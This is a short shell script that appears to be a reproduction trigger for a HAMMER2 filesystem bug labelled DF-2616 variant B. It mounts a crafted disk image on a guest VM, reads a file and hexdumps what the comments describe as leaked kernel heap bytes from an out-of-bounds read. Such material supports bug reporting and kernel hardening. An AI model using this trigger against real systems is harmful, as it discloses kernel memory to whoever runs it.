#!/bin/sh
# DF-2616 variant B trigger -- run on the GUEST as root.
# Leak: read /mnt/h2/f1 -> block0's chain data = DIO buffer + 0xFF00,
# bytes 0x100..0x3FF of the 1KB chain run past the end of the 64KB DIO
# buffer (kernel heap).  Repeat N times with fresh mounts for variance.
N=${1:-3}
I=0
while [ $I -lt $N ]; do
	I=$((I + 1))
	vnconfig -u vn0 2>/dev/null
	vnconfig -c vn0 /tmp/h2_B_data_cross.img || exit 1
	mkdir -p /mnt/h2
	mount -t hammer2 /dev/vn0@testvol /mnt/h2 || { echo "MOUNT FAILED"; exit 1; }
	echo "===== RUN $I mount ok ====="
	dd if=/mnt/h2/f1 bs=519 count=1 2>/dev/null | hexdump -C
	umount /mnt/h2
	vnconfig -u vn0
done
echo "===== dmesg 'Illegal:' marker count ====="
dmesg | grep -c "Illegal:"